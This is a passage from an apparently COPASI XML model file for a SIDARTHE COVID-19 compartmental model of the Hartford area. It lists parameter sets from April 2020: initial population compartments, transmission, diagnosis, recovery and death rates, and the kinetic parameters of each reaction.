<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.025147447548331613" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.010000000000479332" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.029999999999999999" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.21542670729316268" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_23" name="Model5 - 4/27">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_23">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000630047" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663.9999999884" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.1644271059473553e-08" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.71169674078118117" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.14233934815623625" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.071169674078118125" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.035584837039059063" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.05000000005841073" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.05000000005841073" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.00096579760827757188" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.010000000002316116" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.024591637054766264" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.050000000002586642" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.050000000002586642" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.029999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.024591637054766264" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.23011664211943073" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.042410797152036488" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.0000000117072758" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.0000000117072758" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.074591637113176998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.074591637113176998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.060965797613180328" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.080000000002586641" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.27252743927146722" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.328471423367297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="1.9920612225920461e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.9920612225920459e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="3.9841224451840922e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="9.9603061129602306e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.99999999985254628" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.11561655836065357" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.71169654244861558" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="1.1246009139375306e-11" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.11561655834360549" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.9920612225920459e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="3.9841224451840922e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.9920612225920461e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="9.9603061129602306e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.05000000005841073" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.05000000005841073" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.00096579760827757188" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.050000000002586642" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.050000000002586642" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.042410797152036488" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.024591637054766264" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.024591637054766264" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.010000000002316116" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.029999999999999999" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.23011664211943073" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_24" name="Model6 - 4/27">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_24">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T16:50:51Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572664" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.89999999970843814" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.017999999994168764" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.02
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.44999999985421907" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.5
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.026999999991253142" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.03
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.59999999996170328" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.59999999996170328" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.0037400911759613432" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.01" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.31706556219183368" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.070000000002386181" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.070000000002386181" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.2156508570673327" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.31706556219183368" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.095332022003577196" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.043104501542407303" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.08374009117834752" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.28565085706971888" type="ModelValue" simulationType="assignment"/>
